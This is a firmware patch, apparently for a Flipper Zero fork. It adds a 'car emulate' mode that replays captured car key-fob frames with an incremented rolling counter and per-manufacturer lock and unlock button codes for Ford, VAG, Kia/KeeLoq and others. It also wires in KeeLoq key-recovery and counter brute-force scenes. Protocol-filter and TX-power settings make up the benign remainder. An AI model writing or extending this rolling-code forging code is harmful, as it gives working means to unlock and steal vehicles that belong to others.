// uint8_t original) {
/* Land Rover V0 */
// if(strstr(protocol, "Land Rover")) {
// switch(key) {
// case InputKeyUp: return 0x02; /* Lock */
// case InputKeyOk: return 0x04; /* Unlock */
// default: return original;
// }
// }
/* Mazda */
// if(strstr(protocol, "Mazda")) {
// switch(key) {
// case InputKeyUp: return 0x01;
// case InputKeyOk: return 0x02;
// case InputKeyDown: return 0x04;
// case InputKeyRight: return 0x08;
// default: return original;
// }
// }
/* PSA */
// if(strstr(protocol, "PSA")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x4;
// case InputKeyLeft: return 0x8;
// default: return original;
// }
// }
/* VAG */
// if(strstr(protocol, "VAG")) {
// if(original == 0x10 || original == 0x20 || original == 0x40) {
// switch(key) {
// case InputKeyUp: return 0x20;
// case InputKeyOk: return 0x10;
// case InputKeyDown: return 0x40;
// default: return original;
// }
// }
// switch(key) {
// case InputKeyUp: return 0x2;
// case InputKeyOk: return 0x1;
// case InputKeyDown: return 0x4;
// case InputKeyLeft: return 0x8;
// case InputKeyRight: return 0x3;
// default: return original;
// }
// }
/* Honda Static */
// if(strstr(protocol, "Honda Static")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x4;
// case InputKeyRight: return 0x5;
// case InputKeyLeft: return 0x8;
// default: return original;
// }
// }
/* Ford */
// if(strstr(protocol, "Ford")) {
// switch(key) {
// case InputKeyLeft: return 0x1;
// case InputKeyUp: return 0x2;
// case InputKeyOk: return 0x4;
// case InputKeyDown: return 0x8;
// case InputKeyRight: return 0x10;
// default: return original;
// }
// }
/* Chrysler */
// if(strstr(protocol, "Chrysler")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// default: return original;
// }
// }
/* Subaru */
// if(strstr(protocol, "Subaru")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x3;
// case InputKeyLeft: return 0x4;
// case InputKeyRight: return 0x8;
// default: return original;
// }
// }
/* Fiat V1 */
// if(strstr(protocol, "Fiat V1")) {
// switch(key) {
// case InputKeyUp: return 0x8;
// case InputKeyOk: return 0x0;
// case InputKeyDown: return 0xD;
// default: return original;
// }
// }
/* Generic KeeLoq / KIA etc. simple 4-button layout */
// if(strstr(protocol, "Kia") || strstr(protocol, "KIA") ||
// strstr(protocol, "KeeLoq") || strstr(protocol, "Keeloq")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x3;
// case InputKeyLeft: return 0x4;
// case InputKeyRight: return 0x8;
// default: return original;
// }
// }
// return original;
//}
/* ═══════════════════════════════════════════════════════════════════════════
* TX helpers
* ═════════════════════════════════════════════════════════════════════════*/
/**
* Read frequency and short preset name from fff_data.
* Falls back to 433.92 MHz / "AM650" on failure.
*/
static void car_emulate_read_freq_preset(SubGhz* subghz, CarEmulateState* st) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
st->freq = 433920000UL;
strncpy(st->preset_short, "AM650", sizeof(st->preset_short) - 1);
if(!fff) return;
uint32_t freq = 0;
flipper_format_rewind(fff);
if(flipper_format_read_uint32(fff, "Frequency", &freq, 1) && freq > 0) {
st->freq = freq;
}
FuriString* preset_str = furi_string_alloc();
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Preset", preset_str)) {
/* Convert long FuriHal name → short token used by the setting */
const char* raw = furi_string_get_cstr(preset_str);
const char* short_name = "AM650";
if(strstr(raw, "Ook270")) short_name = "AM270";
else if(strstr(raw, "Ook650")) short_name = "AM650";
else if(strstr(raw, "238")) short_name = "FM238";
else if(strstr(raw, "12K")) short_name = "FM12K";
else if(strstr(raw, "476")) short_name = "FM476";
else if(strstr(raw, "Custom")) short_name = "CUST";
strncpy(st->preset_short, short_name, sizeof(st->preset_short) - 1);
}
furi_string_free(preset_str);
}
static bool car_emulate_hex_digit(char c, uint8_t* value) {
if(c >= '0' && c <= '9') {
*value = c - '0';
return true;
} else if(c >= 'a' && c <= 'f') {
*value = c - 'a' + 10;
return true;
} else if(c >= 'A' && c <= 'F') {
*value = c - 'A' + 10;
return true;
}
return false;
}
static bool car_emulate_parse_hex_after(
const char* text,
const char* marker,
uint32_t* value) {
const char* field = strstr(text, marker);
if(!field) return false;
field += strlen(marker);
while(*field == ' ' || *field == '\t' || *field == '[') {
field++;
}
if(field[0] == '0' && (field[1] == 'x' || field[1] == 'X')) {
field += 2;
}
uint32_t parsed = 0;
uint8_t digits = 0;
uint8_t digit_value = 0;
while((digits < 8) && car_emulate_hex_digit(*field, &digit_value)) {
parsed = (parsed << 4) | digit_value;
digits++;
field++;
}
if(digits == 0) return false;
*value = parsed;
return true;
}
static bool car_emulate_serial_is_placeholder(void) {
return !s_state->has_serial || (s_state->serial <= 1);
}
static bool car_emulate_counter_is_placeholder(void) {
return !s_state->has_counter || (s_state->current_counter == 0);
}
static void car_emulate_set_counter(uint32_t value) {
s_state->original_counter = value;
s_state->current_counter = value;
s_state->has_counter = true;
}
static void car_emulate_apply_global_metadata(void) {
furi_assert(s_state);
if(subghz_block_generic_global.cnt_is_available) {
car_emulate_set_counter(subghz_block_generic_global.current_cnt);
}
}
static void car_emulate_apply_decoded_metadata(FuriString* decoded_text) {
furi_assert(s_state);
if(!decoded_text) return;
const char* text = furi_string_get_cstr(decoded_text);
uint32_t value = 0;
if((car_emulate_parse_hex_after(text, "Sn:", &value) ||
car_emulate_parse_hex_after(text, "SN:", &value) ||
car_emulate_parse_hex_after(text, "Ser:", &value) ||
car_emulate_parse_hex_after(text, "Serial:", &value)) &&
(value != 0)) {
s_state->serial = value;
s_state->has_serial = true;
} else if(
car_emulate_serial_is_placeholder() &&
car_emulate_parse_hex_after(text, "Fix:", &value) &&
(value != 0)) {
s_state->serial = value;
s_state->has_serial = true;
}
if(car_emulate_parse_hex_after(text, "Cnt:", &value) &&
((value != 0) || car_emulate_counter_is_placeholder())) {
car_emulate_set_counter(value);
}
}
/** Update Btn and Cnt fields in fff_data so the transmitter re-serialises them. */
static bool car_emulate_apply_button(SubGhz* subghz, InputKey key) {
UNUSED(subghz);
uint8_t custom_btn_id;
switch(key) {
case InputKeyUp: custom_btn_id = SUBGHZ_CUSTOM_BTN_UP; break;
case InputKeyDown: custom_btn_id = SUBGHZ_CUSTOM_BTN_DOWN; break;
case InputKeyLeft: custom_btn_id = SUBGHZ_CUSTOM_BTN_LEFT; break;
case InputKeyRight: custom_btn_id = SUBGHZ_CUSTOM_BTN_RIGHT; break;
case InputKeyOk:
default: custom_btn_id = SUBGHZ_CUSTOM_BTN_OK; break;
}
if(custom_btn_id > s_state->max_custom_button) {
return false;
}
return subghz_custom_btn_set(custom_btn_id);
}
/** Update Cnt in fff_data (Btn is handled by the protocol via custom_btn). */
static void car_emulate_update_fff(SubGhz* subghz, uint32_t counter) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
if(!fff) return;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &counter, 1);
}
/** Apply tx_power to the current preset and start a single transmission burst. */
static bool car_emulate_start_tx(SubGhz* subghz, uint8_t custom_btn_id) {
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
if(preset.data && preset.data_size > 0 && subghz->tx_power > 0) {
subghz_txrx_set_tx_power(preset.data, preset.data_size, subghz->tx_power);
FURI_LOG_I(TAG, "TX power index applied: %u", subghz->tx_power);
}
subghz_custom_btn_set(custom_btn_id);
bool ok = subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
if(ok) {
subghz->state_notifications = SubGhzNotificationStateTx;
notification_message(subghz->notifications, &sequence_blink_magenta_10);
FURI_LOG_I(TAG, "TX started");
} else {
FURI_LOG_E(TAG, "subghz_tx_start failed");
}
return ok;
}
/** Stop an active transmission. */
static void car_emulate_stop_tx(SubGhz* subghz) {
subghz_block_generic_global.endless_tx = false;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
notification_message(subghz->notifications, &sequence_blink_stop);
FURI_LOG_I(TAG, "TX stopped");
}
static bool car_emulate_restart_tx(SubGhz* subghz) {
furi_assert(s_state);
car_emulate_update_fff(subghz, s_state->current_counter);
subghz_block_generic_global.endless_tx = true;
if(car_emulate_start_tx(subghz, s_state->pending_button)) {
s_state->is_transmitting = true;
subghz->state_notifications = SubGhzNotificationStateTx;
notification_message(subghz->notifications, &sequence_blink_magenta_10);
FURI_LOG_D(TAG, "TX restarted while button is held");
return true;
}
subghz_block_generic_global.endless_tx = false;
s_state->is_transmitting = false;
s_state->stop_pending = false;
notification_message(subghz->notifications, &sequence_error);
return false;
}
/* ═══════════════════════════════════════════════════════════════════════════
* View callback (fired from the View's input handler)
* ═════════════════════════════════════════════════════════════════════════*/
static void subghz_scene_car_emulate_view_callback(uint32_t event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Helpers to keep the view in sync
* ═════════════════════════════════════════════════════════════════════════*/
static void car_emulate_refresh_view(SubGhz* subghz) {
furi_assert(s_state);
subghz_car_emulate_view_set_data(
subghz->car_emulate_view,
s_state->protocol_name,
s_state->serial,
s_state->current_counter,
s_state->original_counter,
s_state->freq,
s_state->preset_short,
s_state->is_transmitting);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_enter
* ═════════════════════════════════════════════════════════════════════════*/
void subghz_scene_car_emulate_on_enter(void* context) {
SubGhz* subghz = context;
furi_assert(subghz);
/* Allocate per-session state */
s_state = malloc(sizeof(CarEmulateState));
furi_check(s_state);
memset(s_state, 0, sizeof(CarEmulateState));
subghz_block_generic_global.endless_tx = false;
/* ── Read metadata from the loaded fff_data ── */
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
if(fff) {
FuriString* tmp = furi_string_alloc();
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", tmp)) {
strncpy(
s_state->protocol_name,
furi_string_get_cstr(tmp),
sizeof(s_state->protocol_name) - 1);
}
flipper_format_rewind(fff);
s_state->has_serial =
flipper_format_read_uint32(fff, "Serial", &s_state->serial, 1);
flipper_format_rewind(fff);
uint32_t btn_tmp = 0;
if(flipper_format_read_uint32(fff, "Btn", &btn_tmp, 1)) {
s_state->original_button = (uint8_t)btn_tmp;
}
flipper_format_rewind(fff);
s_state->has_counter =
flipper_format_read_uint32(fff, "Cnt", &s_state->original_counter, 1);
s_state->current_counter = s_state->original_counter;
furi_string_free(tmp);
}
/* ── Initialize the custom_btn system ──────────────────────────────────
* Reset first so any leftover state from a previous session is cleared.
* Then deserialize the decoder once: this causes the protocol's own
* deserialize() to call subghz_custom_btn_set_original() and
* subghz_custom_btn_set_max(), which is exactly what the standard
* Transmitter scene does via subghz_scene_transmitter_update_data_show().
* After this call:
* - subghz_custom_btn_get_original() → the button that was in the file
* - subghz_custom_btn_is_allowed() → true if protocol supports it
* - subghz_custom_btn_get_max() → number of buttons available */
subghz_block_generic_global_reset(NULL);
subghz_custom_btns_reset();
SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(subghz->txrx);
if(decoder && fff) {
flipper_format_rewind(fff);
if(subghz_protocol_decoder_base_deserialize(decoder, fff) == SubGhzProtocolStatusOk) {
FuriString* decoded_text = furi_string_alloc();
subghz_protocol_decoder_base_get_string(decoder, decoded_text);
car_emulate_apply_global_metadata();
car_emulate_apply_decoded_metadata(decoded_text);
furi_string_free(decoded_text);
}
/* Rewind again so subsequent reads in car_emulate_read_freq_preset()
* start from the beginning of the file. */
flipper_format_rewind(fff);
}
s_state->max_custom_button =
subghz_custom_btn_is_allowed() ? subghz_custom_btn_get_max() : SUBGHZ_CUSTOM_BTN_OK;
if(s_state->max_custom_button == SUBGHZ_CUSTOM_BTN_OK) {
s_state->max_custom_button =
subghz_button_labels_get_max_custom_btn(s_state->protocol_name);
if(s_state->max_custom_button != SUBGHZ_CUSTOM_BTN_OK) {
subghz_custom_btn_set_max(s_state->max_custom_button);
}
}
const char* button_labels[SUBGHZ_BUTTON_LABEL_COUNT];
subghz_button_labels_reset(button_labels);
subghz_button_labels_apply_protocol(s_state->protocol_name, button_labels);
subghz_car_emulate_view_set_labels(
subghz->car_emulate_view,
subghz_button_labels_get(
button_labels, SUBGHZ_CUSTOM_BTN_OK, subghz_custom_btn_get_original()),
s_state->max_custom_button >= SUBGHZ_CUSTOM_BTN_UP ?
subghz_button_labels_get(
button_labels, SUBGHZ_CUSTOM_BTN_UP, subghz_custom_btn_get_original()) :
"",
s_state->max_custom_button >= SUBGHZ_CUSTOM_BTN_DOWN ?
subghz_button_labels_get(
button_labels, SUBGHZ_CUSTOM_BTN_DOWN, subghz_custom_btn_get_original()) :
"",
s_state->max_custom_button >= SUBGHZ_CUSTOM_BTN_LEFT ?
subghz_button_labels_get(
button_labels, SUBGHZ_CUSTOM_BTN_LEFT, subghz_custom_btn_get_original()) :
"",
s_state->max_custom_button >= SUBGHZ_CUSTOM_BTN_RIGHT ?
subghz_button_labels_get(
button_labels, SUBGHZ_CUSTOM_BTN_RIGHT, subghz_custom_btn_get_original()) :
""
);
car_emulate_read_freq_preset(subghz, s_state);
/* ── Configure the view ── */
subghz_car_emulate_view_set_callback(
subghz->car_emulate_view, subghz_scene_car_emulate_view_callback, subghz);
car_emulate_refresh_view(subghz);
subghz->state_notifications = SubGhzNotificationStateIDLE;
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_event
* ═════════════════════════════════════════════════════════════════════════*/
bool subghz_scene_car_emulate_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
furi_assert(s_state);
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
/* ── Transmit ── */
if((event.event & 0xFFFFU) == SubGhzCustomEventCarEmulateTransmit) {
InputKey key = (InputKey)((event.event >> 16) & 0xFFU);
/* Stop any ongoing TX first */
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
/* Set the custom button BEFORE deserialize() is called inside
* subghz_tx_start() → subghz_txrx_tx_start().
* The protocol's deserialize() will call subghz_custom_btn_get()
* to pick the right button code. */
if(!car_emulate_apply_button(subghz, key)) {
notification_message(subghz->notifications, &sequence_error);
car_emulate_refresh_view(subghz);
return true;
}
/* Bump counter */
s_state->current_counter++;
/* Only update the counter in fff_data; the protocol handles Btn. */
car_emulate_update_fff(subghz, s_state->current_counter);
s_state->is_transmitting = true;
s_state->stop_pending = false;
s_state->tx_start_tick = (uint32_t)furi_get_tick();
uint8_t cur_btn = subghz_custom_btn_get();
s_state->pending_button = cur_btn;
subghz_block_generic_global.endless_tx = true;
if(!car_emulate_start_tx(subghz, cur_btn)) {
s_state->is_transmitting = false;
subghz_block_generic_global.endless_tx = false;
notification_message(subghz->notifications, &sequence_error);
}
car_emulate_refresh_view(subghz);
consumed = true;
/* ── Stop ── */
} else if(event.event == SubGhzCustomEventCarEmulateStop) {
if(s_state->is_transmitting) {
subghz_block_generic_global.endless_tx = false;
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
if(
elapsed >= MIN_TX_TICKS &&
subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
s_state->is_transmitting = false;
s_state->stop_pending = false;
} else {
s_state->stop_pending = true;
}
}
car_emulate_refresh_view(subghz);
consumed = true;
/* ── Exit ── */
} else if(event.event == SubGhzCustomEventCarEmulateExit) {
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
subghz_block_generic_global.endless_tx = false;
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneSavedMenu);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
if(s_state->is_transmitting &&
subghz->state_notifications == SubGhzNotificationStateTx) {
/* Check if hardware is done */
if(subghz_devices_is_async_complete_tx(subghz->txrx->radio_device)) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
if(s_state->stop_pending) {
s_state->is_transmitting = false;
s_state->stop_pending = false;
notification_message(subghz->notifications, &sequence_blink_stop);
} else {
car_emulate_restart_tx(subghz);
}
} else {
/* Still transmitting blink LED */
notification_message(subghz->notifications, &sequence_blink_magenta_10);
}
/* Enforce MIN_TX_TICKS stop gate */
if(s_state->stop_pending) {
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
if(elapsed >= MIN_TX_TICKS) {
car_emulate_stop_tx(subghz);
s_state->is_transmitting = false;
s_state->stop_pending = false;
}
}
}
/* Refresh view every tick for animation */
car_emulate_refresh_view(subghz);
consumed = true;
}
return consumed;
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_exit
* ═════════════════════════════════════════════════════════════════════════*/
void subghz_scene_car_emulate_on_exit(void* context) {
SubGhz* subghz = context;
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
subghz_block_generic_global.endless_tx = false;
subghz->state_notifications = SubGhzNotificationStateIDLE;
notification_message(subghz->notifications, &sequence_blink_stop);
/* Clear view callbacks */
subghz_car_emulate_view_set_callback(subghz->car_emulate_view, NULL, NULL);
/* Free per-session state */
if(s_state) {
free(s_state);
s_state = NULL;
}
}
@@ -0,0 +1,109 @@
/**
* Scene: CarEmulateSettings
* Toggle: Custom Emulate Off / On
* Selector: TX Power (reuses the same table as Radio Settings)
* Both settings are persisted in SubGhzLastSettings.
*/
#include "../subghz_i.h"
#include <lib/toolbox/value_index.h>
#define TAG "SubGhzCarEmulateSettings"
/* ── Toggle ──────────────────────────────────────────────────────────────── */
static const char* const toggle_text[] = {"Off", "On"};
static void subghz_scene_car_emulate_settings_toggle_changed(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, toggle_text[index]);
subghz->last_settings->custom_car_emulate = (index == 1);
subghz_last_settings_save(subghz->last_settings);
}
/* ── TX Power ────────────────────────────────────────────────────────────── */
/* Must match the table in subghz_scene_radio_settings.c exactly */
#define CE_TX_POWER_COUNT 9
static const char* const ce_tx_power_text[CE_TX_POWER_COUNT] = {
"Preset", /* index 0 → use whatever the preset has baked in */
"10dBm +",
"7dBm",
"5dBm",
"0dBm",
"-10dBm",
"-15dBm",
"-20dBm",
"-30dBm",
};
static void subghz_scene_car_emulate_settings_power_changed(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, ce_tx_power_text[index]);
/* Mirror the same fields that Radio Settings touches so the value is
* visible everywhere and survives app restart. */
subghz->tx_power = index;
subghz->last_settings->tx_power = index;
subghz_last_settings_save(subghz->last_settings);
/* Patch the live preset buffer immediately so any subsequent TX in this
* session uses the new power without needing a restart. */
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
if(preset.data && preset.data_size > 0) {
subghz_txrx_set_tx_power(preset.data, preset.data_size, index);
}
}
/* ── Scene callbacks ─────────────────────────────────────────────────────── */
void subghz_scene_car_emulate_settings_on_enter(void* context) {
SubGhz* subghz = context;
furi_assert(subghz);
VariableItemList* list = subghz->variable_item_list;
variable_item_list_reset(list);
/* ── Row 1: Custom Emulate toggle ── */
VariableItem* item = variable_item_list_add(
list,
"Custom Emulate",
2,
subghz_scene_car_emulate_settings_toggle_changed,
subghz);
uint8_t toggle_idx = subghz->last_settings->custom_car_emulate ? 1 : 0;
variable_item_set_current_value_index(item, toggle_idx);
variable_item_set_current_value_text(item, toggle_text[toggle_idx]);
/* ── Row 2: TX Power ── */
item = variable_item_list_add(
list,
"TX Power",
CE_TX_POWER_COUNT,
subghz_scene_car_emulate_settings_power_changed,
subghz);
/* Clamp stored value to valid range in case settings file is corrupt */
uint8_t power_idx = subghz->tx_power;
if(power_idx >= CE_TX_POWER_COUNT) power_idx = 0;
variable_item_set_current_value_index(item, power_idx);
variable_item_set_current_value_text(item, ce_tx_power_text[power_idx]);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
}
bool subghz_scene_car_emulate_settings_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_car_emulate_settings_on_exit(void* context) {
SubGhz* subghz = context;
variable_item_list_reset(subghz->variable_item_list);
}
@@ -34,3 +34,5 @@ ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
ADD_SCENE(subghz, counter_bf, CounterBf)
ADD_SCENE(subghz, car_emulate, CarEmulate)
ADD_SCENE(subghz, car_emulate_settings, CarEmulateSettings)
@@ -187,12 +187,15 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
uint16_t learning_type = ctx->recovered_type ?
ctx->recovered_type :
KEELOQ_LEARNING_SIMPLE;
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
KEELOQ_LEARNING_SIMPLE,
learning_type,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
@@ -202,7 +205,7 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = KEELOQ_LEARNING_SIMPLE;
entry->type = learning_type;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
@@ -1,53 +1,99 @@
#include "../subghz_i.h"
#include <lib/subghz/subghz_protocol_registry.h>
#include <stdlib.h>
void subghz_scene_protocol_list_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
#define TAG "SubGhzSceneProtocolList"
typedef struct {
SubGhz* subghz;
const char* protocol_name;
} SubGhzProtocolListItemContext;
static SubGhzProtocolListItemContext* protocol_list_item_contexts = NULL;
static void subghz_scene_protocol_list_free_contexts(void) {
free(protocol_list_item_contexts);
protocol_list_item_contexts = NULL;
}
static void subghz_scene_protocol_list_item_changed(VariableItem* item) {
SubGhzProtocolListItemContext* item_context = variable_item_get_context(item);
if(!item_context || !item_context->subghz || !item_context->protocol_name) return;
SubGhz* subghz = item_context->subghz;
bool should_disable = variable_item_get_current_value_index(item) == 1;
bool changed = subghz_last_settings_protocol_filter_set(
subghz->last_settings, item_context->protocol_name, should_disable);
bool is_disabled = subghz_last_settings_protocol_filter_contains(
subghz->last_settings, item_context->protocol_name);
variable_item_set_current_value_index(item, is_disabled ? 1 : 0);
variable_item_set_current_value_text(item, is_disabled ? "OFF" : "ON");
if(changed) subghz_last_settings_save(subghz->last_settings);
}
void subghz_scene_protocol_list_on_enter(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
VariableItemList* list = subghz->variable_item_list;
variable_item_list_reset(list);
subghz_scene_protocol_list_free_contexts();
size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
char header_str[32];
snprintf(header_str, sizeof(header_str), "Protocols: %zu", protocol_count);
submenu_set_header(subghz->submenu, header_str);
protocol_list_item_contexts =
malloc(sizeof(SubGhzProtocolListItemContext) * protocol_count);
furi_check(protocol_list_item_contexts);
for(size_t i = 0; i < protocol_count; i++) {
const SubGhzProtocol* protocol =
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
if(protocol) {
submenu_add_item(
subghz->submenu,
protocol->name,
i,
subghz_scene_protocol_list_submenu_callback,
subghz);
}
if(!protocol) continue;
protocol_list_item_contexts[i].subghz = subghz;
protocol_list_item_contexts[i].protocol_name = protocol->name;
VariableItem* item = variable_item_list_add(
list,
protocol->name,
2,
subghz_scene_protocol_list_item_changed,
&protocol_list_item_contexts[i]);
bool is_disabled =
subghz_last_settings_protocol_filter_contains(subghz->last_settings, protocol->name);
variable_item_set_current_value_index(item, is_disabled ? 1 : 0);
variable_item_set_current_value_text(item, is_disabled ? "OFF" : "ON");
}
submenu_set_selected_item(
subghz->submenu,
variable_item_list_set_selected_item(
list,
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
}
bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneProtocolList, event.event);
return true;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneProtocolList, event.event);
consumed = true;
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_previous_scene(subghz->scene_manager);
consumed = true;
}
return false;
return consumed;
}
void subghz_scene_protocol_list_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
scene_manager_set_scene_state(
subghz->scene_manager,
SubGhzSceneProtocolList,
variable_item_list_get_selected_item_index(subghz->variable_item_list));
variable_item_list_reset(subghz->variable_item_list);
subghz_scene_protocol_list_free_contexts();
}
@@ -105,6 +105,12 @@ static void subghz_scene_add_to_history_callback(
SubGhz* subghz = context;
// The check can be moved to /lib/subghz/receiver.c, but may result in false positives
if(subghz_last_settings_protocol_filter_contains(
subghz->last_settings, decoder_base->protocol->name)) {
FURI_LOG_D(TAG, "%s filtered by protocol OFF list", decoder_base->protocol->name);
return;
}
if((decoder_base->protocol->flag & subghz->ignore_filter) == 0) {
SubGhzHistory* history = subghz->history;
FuriString* item_name = furi_string_alloc();
@@ -17,6 +17,7 @@ enum SubGhzSettingIndex {
SubGhzSettingIndexIgnoreNiceFlorS,
SubGhzSettingIndexDeleteOldSignals,
SubGhzSettingIndexSound,
SubGhzSettingIndexProtoFilter,
SubGhzSettingIndexResetToDefault,
SubGhzSettingIndexLock,
SubGhzSettingIndexRAWThresholdRSSI,
@@ -445,7 +446,9 @@ static void subghz_scene_receiver_config_set_delete_old_signals(VariableItem* it
static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) {
furi_assert(context);
SubGhz* subghz = context;
if(index == SubGhzSettingIndexLock) {
if(index == SubGhzSettingIndexProtoFilter) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneProtocolList);
} else if(index == SubGhzSettingIndexLock) {
view_dispatcher_send_custom_event(
subghz->view_dispatcher, SubGhzCustomEventSceneSettingLock);
} else if(index == SubGhzSettingIndexResetToDefault) {
@@ -473,6 +476,7 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz->last_settings->filter = subghz->filter;
subghz->last_settings->delete_old_signals = false;
subghz->last_settings->tx_power = subghz->tx_power = 0;
subghz->last_settings->protocol_filter[0] = '\0';
subghz_txrx_speaker_set_state(subghz->txrx, speaker_value[default_index]);
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
@@ -668,6 +672,23 @@ void subghz_scene_receiver_config_on_enter(void* context) {
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
SubGhzCustomEventManagerSet) {
/* Protocol filter */
item = variable_item_list_add(
subghz->variable_item_list,
"Proto Filter",
1,
NULL,
subghz);
uint8_t protocol_filter_count =
subghz_last_settings_protocol_filter_count(subghz->last_settings);
if(protocol_filter_count == 0) {
variable_item_set_current_value_text(item, "All ON");
} else {
static char filter_count_str[8];
snprintf(filter_count_str, sizeof(filter_count_str), "%u OFF", protocol_filter_count);
variable_item_set_current_value_text(item, filter_count_str);
}
// Reset to default
variable_item_list_add(subghz->variable_item_list, "Reset to default", 1, NULL, NULL);
@@ -1,6 +1,7 @@
#include "../subghz_i.h"
#include <lib/subghz/blocks/custom_btn.h>
#include <flipper_format/flipper_format_i.h>
#include "applications/main/subghz/helpers/subghz_txrx_i.h"
#include <lib/subghz/blocks/generic.h>
@@ -20,6 +21,9 @@ void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, v
} else if((result == GuiButtonTypeRight) && (type == InputTypeShort)) {
view_dispatcher_send_custom_event(
subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoSave);
} else if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) {
view_dispatcher_send_custom_event(
subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoTxFullDpad);
}
}
@@ -29,7 +33,6 @@ static bool subghz_scene_receiver_info_update_parser(void* context) {
if(subghz_txrx_load_decoder_by_name_protocol(
subghz->txrx,
subghz_history_get_protocol_name(subghz->history, subghz->idx_menu_chosen))) {
// we are trying to deserialize without checking for errors, since it is assumed that we just received this chignal
subghz_protocol_decoder_base_deserialize(
subghz_txrx_get_decoder(subghz->txrx),
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen));
@@ -37,7 +40,6 @@ static bool subghz_scene_receiver_info_update_parser(void* context) {
SubGhzRadioPreset* preset =
subghz_history_get_radio_preset(subghz->history, subghz->idx_menu_chosen);
//Edit TX power, if necessary.
subghz_txrx_set_tx_power(preset->data, preset->data_size, subghz->tx_power);
subghz_txrx_set_preset(
